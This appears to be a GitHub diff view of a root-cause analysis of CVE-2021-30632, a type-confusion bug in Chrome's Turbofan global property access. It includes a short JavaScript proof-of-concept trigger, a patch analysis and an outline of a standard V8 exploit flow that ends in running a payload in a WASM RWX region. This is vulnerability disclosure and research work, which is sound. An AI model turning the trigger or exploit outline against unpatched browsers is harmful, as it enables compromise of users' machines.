🤬
  • ■ ■ ■ ■ ■ ■
    0day-RCAs/2021/CVE-2021-30632.md
     1 +# CVE-2021-30632: Chrome Turbofan Type confusion in Global property access
     2 +*Man Yue Mo, GitHub Security Lab*
     3 + 
     4 +## The Basics
     5 + 
     6 +**Disclosure or Patch Date:** 13 September 2021
     7 + 
     8 +**Product:** Google Chrome
     9 + 
     10 +**Advisory:** https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html
     11 + 
     12 +**Affected Versions:** pre 93.0.4577.82
     13 + 
     14 +**First Patched Version:** 93.0.4577.82
     15 + 
     16 +**Issue/Bug Report:** https://bugs.chromium.org/p/chromium/issues/detail?id=1247763
     17 + 
     18 +**Patch CL:** https://source.chromium.org/chromium/_/chromium/v8/v8.git/+/6391d7a58d0c58cd5d096d22453b954b3ecc6fec
     19 + 
     20 +**Bug-Introducing CL:** N/A
     21 + 
     22 +**Reporter(s):** Anonymous
     23 + 
     24 +## The Code
     25 + 
     26 +**Proof-of-concept:**
     27 +```js
     28 +function store(y) {
     29 + x = y;
     30 +}
     31 + 
     32 +function load() {
     33 + return x.b;
     34 +}
     35 + 
     36 +var x = {a : 1};
     37 +var x1 = {a : 2};
     38 +var x2 = {a : 3};
     39 +var x3 = {a : 4};
     40 + 
     41 +store(x1);
     42 +%PrepareFunctionForOptimization(store);
     43 +store(x2);
     44 + 
     45 +x1.b = 1;
     46 + 
     47 +%OptimizeFunctionOnNextCall(store);
     48 +store(x2);
     49 + 
     50 +x.b = 1;
     51 + 
     52 +%PrepareFunctionForOptimization(load);
     53 +load();
     54 + 
     55 +%OptimizeFunctionOnNextCall(load);
     56 +load();
     57 + 
     58 +store(x3);
     59 + 
     60 +%DebugPrint(load());
     61 +```
     62 + 
     63 +**Exploit sample:** N/A
     64 + 
     65 +**Did you have access to the exploit sample when doing the analysis?** N/A
     66 + 
     67 +## The Vulnerability
     68 + 
     69 +**Bug class:** Type confusion
     70 + 
     71 +**Vulnerability details:** Optimized code that stores global properties does not get deoptimized when the property map changed, leading to type confusion.
     72 + 
     73 +Prior to the patch, when Turbofan compiles code for storing global properties that has the `kConstantType` attribute (i.e. the storage type has not changed), it inserts `DependOnGlobalProperty` (1. below) and `CheckMaps` (2. below) to ensure that the property store does not change the map of the property cell:
     74 + 
     75 +```c++
     76 + case PropertyCellType::kConstantType: {
     77 + ...
     78 + dependencies()->DependOnGlobalProperty(property_cell); //<------------ 1.
     79 + ...
     80 + if (property_cell_value.IsHeapObject()) {
     81 + MapRef property_cell_value_map =
     82 + property_cell_value.AsHeapObject().map();
     83 + if (property_cell_value_map.is_stable()) {
     84 + dependencies()->DependOnStableMap(property_cell_value_map);
     85 + } else {
     86 + ... //<----- fall through
     87 + }
     88 + // Check that the {value} is a HeapObject.
     89 + value = effect = graph()->NewNode(simplified()->CheckHeapObject(),
     90 + value, effect, control);
     91 + // Check {value} map against the {property_cell_value} map.
     92 + effect = graph()->NewNode( //<------------ 2.
     93 + simplified()->CheckMaps(
     94 + CheckMapsFlag::kNone,
     95 + ZoneHandleSet<Map>(property_cell_value_map.object())),
     96 + value, effect, control);
     97 +```
     98 + 
     99 +However, when the map of the global property (`property_cell_value_map`) is changed inplace after the code is compiled, the optimized code generated by the above only deoptimizes when `property_cell_value_map` is stable. So for example, if a function `store` is optimized when the map of the global property `x` is unstable:
     100 + 
     101 +```javascript
     102 +function store(y) {
     103 + x = y;
     104 +}
     105 +```
     106 + 
     107 +Then an inplace change to the map of `x` will not deoptimize the compiled `store`:
     108 + 
     109 +```javascript
     110 +x.newProp = 1; //<------ x now has new map, but the optimized store still assumed it had an old map
     111 +```
     112 + 
     113 +This causes the map for `x` in the optimized `store` function to be inaccurate. Another function `load` can now be compiled to access `newProp` from `x`:
     114 + 
     115 +```javascript
     116 +function load() {
     117 + return x.newProp;
     118 +}
     119 +```
     120 + 
     121 +The optimized `load` will assume `x` to have a new map with `newProp` as a property.
     122 + 
     123 +If the optimized `store` is now used to store an object with the old map back to `x`, the next time `load` is called, a type confusion will occur because `load` still assumes `x` has the new map.
     124 + 
     125 +**Patch analysis:**
     126 + 
     127 +```
     128 +@@ -804,6 +804,12 @@
     129 + return NoChange();
     130 + } else if (property_cell_type == PropertyCellType::kUndefined) {
     131 + return NoChange();
     132 ++ } else if (property_cell_type == PropertyCellType::kConstantType) {
     133 ++ // We rely on stability further below.
     134 ++ if (property_cell_value.IsHeapObject() &&
     135 ++ !property_cell_value.AsHeapObject().map().is_stable()) {
     136 ++ return NoChange();
     137 ++ }
     138 + }
     139 + } else if (access_mode == AccessMode::kHas) {
     140 + DCHECK_EQ(receiver, lookup_start_object);
     141 +@@ -922,17 +928,7 @@
     142 + if (property_cell_value.IsHeapObject()) {
     143 + MapRef property_cell_value_map =
     144 + property_cell_value.AsHeapObject().map();
     145 +- if (property_cell_value_map.is_stable()) {
     146 +- dependencies()->DependOnStableMap(property_cell_value_map);
     147 +- } else {
     148 +- // The value's map is already unstable. If this store were to go
     149 +- // through the C++ runtime, it would transition the PropertyCell to
     150 +- // kMutable. We don't want to change the cell type from generated
     151 +- // code (to simplify concurrent heap access), however, so we keep
     152 +- // it as kConstantType and do the store anyways (if the new value's
     153 +- // map matches). This is safe because it merely prolongs the limbo
     154 +- // state that we are in already.
     155 +- }
     156 ++ dependencies()->DependOnStableMap(property_cell_value_map);
     157 +
     158 + // Check that the {value} is a HeapObject.
     159 + value = effect = graph()->NewNode(simplified()->CheckHeapObject(),
     160 +```
     161 + 
     162 +After the patch, the JIT compiler will bail out when `property_cell_type` is `kConstantType` and `property_cell_value_map` is unstable. This ensures that optimized code for storing global properties will be deoptimized if the map of the property cell changed.
     163 + 
     164 +**Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:**
     165 + 
     166 +While the affected code itself differs from the runtime behaviour (as seen from the comment), it is not obvious that it is a problem. Even after seeing the release notes and realizing that this is an exploitable issue, it took a good few hours for me to figure out how this can be exploited, which is not always possible for every piece of code.
     167 + 
     168 +It may also be possible to find this type of bugs using fuzzing, seeing the simplicity of the proof-of-concept that I included. The main complication is perhaps the need for two optimized functions to interact, and for the optimization to happen in the exact right place. The ingredients required (optimization of multiple functions and having multiple objects in different stages of the transition tree) for generating this type of test cases is somewhat similar to that of [CVE-2020-16009](https://bugs.chromium.org/p/project-zero/issues/detail?id=2106), so perhaps similar fuzzing techniques can be applied to both cases.
     169 + 
     170 +**(Historical/present/future) context of bug:**
     171 + 
     172 +This bug is in the intersection between the map transition/deprecation and property access, (in particular, field tracking) mechanisms, both are fairly complex with various vulnerabilities found in the past. For example:
     173 + 
     174 +Some vulnerabilities in property access:
     175 + 
     176 +* https://bugs.chromium.org/p/chromium/issues/detail?id=1209558
     177 +* https://bugs.chromium.org/p/chromium/issues/detail?id=1216437
     178 +* https://bugs.chromium.org/p/chromium/issues/detail?id=1203122
     179 + 
     180 +Some vulnerabilities in map transition/deprecation:
     181 + 
     182 +* https://bugs.chromium.org/p/chromium/issues/detail?id=746946
     183 +* https://bugs.chromium.org/p/project-zero/issues/detail?id=1923
     184 +* https://bugs.chromium.org/p/project-zero/issues/detail?id=2106
     185 + 
     186 +## The Exploit
     187 + 
     188 +(The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).)
     189 + 
     190 +**Exploit strategy (or strategies):**
     191 + 
     192 +The proof-of-concept included is already capable of causing out-of-bounds access in Javascript. To exploit the bug more readily, Javascript array can be used instead of Javascript objects, which would lead to a type confusion between arrays of different element types and cause out-of-bounds access in Javascript arrays. Once that is achieved, the exploit is fairly standard. I've written [an article](https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632/) with more details of the exploit strategy.
     193 + 
     194 +**Exploit flow:**
     195 + 
     196 +The exploit follows the standard flow for V8 exploits:
     197 +1. Uses the initial relative read/write primitive to construct an absolute read/write primitive by corrupting a TypedArray object.
     198 +2. Uses the absolute read/write primitive to overwrite the body of a WebAssembly function, which is stored in an RWX region, with the payload.
     199 +3. Calls the WASM function.
     200 + 
     201 +**Known cases of the same exploit flow:** Virtually all V8 exploits in the past 5 years.
     202 + 
     203 +**Part of an exploit chain?**
     204 + 
     205 +This is unclear to me as I do not have any context information other than what is publicly available. However, judging from the [release notes](https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html), where a sandbox escape bug that is also believed to be exploited in the wild (CVE-2021-30633) was patched and was reported on the same day also by someone who wished to remain anonymous, it seems likely that both bugs are used in an exploit chain to fully compromised Chrome.
     206 + 
     207 +## The Next Steps
     208 + 
     209 +### Variant analysis
     210 + 
     211 +**Areas/approach for variant analysis (and why):**
     212 + 
     213 +As this vulnerability is closely related to how field type is used in property access, an obvious source of possible variants is to check if ordinary property access ("named property" access) also suffers similar problems. As it turns out, instead of using property cell, ordinary property access ("named property" access) uses the field map in property descriptors for map inference. Although it is possible to optimize code with unstable field map in property descriptors and use it to store named properties (similar to the `store` function that is optimized for this bug), it does not seem to be possible to change the field map in a property descriptor without reassigning the property, which would deoptimize the function. As such, I was not able to trigger similar problems with named property access. This, however, does indicate some inconsistencies in the treatment of field map between property descriptors and property cell, with the field map in property cell always syncing with that of the actual property value, while the field map in property descriptors may not. As such, care must be taken not to mix the use of these two when accessing properties in the JIT compiler. At the time of writing, property cell only seems to be used for global property access, while I am unable to compile JIT code that access global property with property descriptors, due to access check requirement for global properties and the fact that global object uses dictionary map. If these change in the future or unexpected ways to access global properties using property descriptors in JIT compiled code is found, then these cases should be examined carefully to avoid similiar type of bugs.
     214 + 
     215 +**Found variants:** N/A
     216 + 
     217 +### Structural improvements
     218 + 
     219 +What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?
     220 + 
     221 +**Ideas to kill the bug class:**
     222 + 
     223 +**Ideas to mitigate the exploit flow:**
     224 + 
     225 +**Other potential improvements:**
     226 + 
     227 +### 0-day detection methods
     228 + 
     229 +What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**?
     230 + 
     231 +## Other References
     232 + 
Please wait...
Page is in error, reload to recover